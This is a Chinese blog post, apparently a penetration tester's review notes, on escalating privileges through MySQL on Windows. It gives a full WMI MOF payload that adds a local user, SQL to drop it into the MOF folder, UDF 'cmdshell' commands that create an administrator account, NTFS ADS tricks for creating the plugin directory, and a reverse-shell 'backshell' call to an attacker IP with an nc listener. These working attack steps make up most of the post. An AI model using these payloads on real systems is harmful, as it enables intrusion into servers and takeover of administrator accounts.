mysql mof_mysql的MOF和UDF提权

最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

一、利用mof提权

前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

具体到mysql提权中,我们又该怎么利用呢?

1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

01

#pragmanamespace("\\\\.\\root\\subscription")

02

03

instance of __EventFilteras $EventFilter

04

{

05

EventNamespace ="Root\\Cimv2";

06

Name  ="filtP2";

07

Query ="Select * From __InstanceModificationEvent "

08

"Where TargetInstance Isa \"Win32_LocalTime\" "

09

"And TargetInstance.Second = 5";

10

QueryLanguage ="WQL";

11

};

12

13

instance of ActiveScriptEventConsumeras $Consumer

14

{

15

Name ="consPCSV2";

16

ScriptingEngine ="JScript";

17

ScriptText =

18

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";

19

};

20

21

instance of __FilterToConsumerBinding

22

{

23

Consumer   =$Consumer;

24

Filter =$EventFilter;

25

};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

1

select load_file('C:/wmpub/nullevt.mof')into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。

2、创建相应的函数并执行命令,具体如下:

1

create function cmdshellreturns string soname'udf.dll';

2

select cmdshell('net user waitalone waitalone.cn /add');

3

select cmdshell('net localgroup administrators waitalone /add');

4

drop function cmdshell; 删除函数

5

delete from mysql.funcwhere name='cmdshell'  删除函数

3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

1

select @@basedir;

2

//查找到mysql的目录

3

select 'It is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';

4

//利用NTFS ADS创建lib目录

5

select 'It is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

6

//利用NTFS ADS创建plugin目录

执行成功以后再进行导出即可。

三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

1

mysql.exe -h 172.16.10.11 -uroot -p

2

Enter password:

3

mysql> \. c:\mysql.txt

4

mysql>select backshell("YourIP",2010);

2、本地监听你反弹的端口

nc.exe -vv -l -p 2010

成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值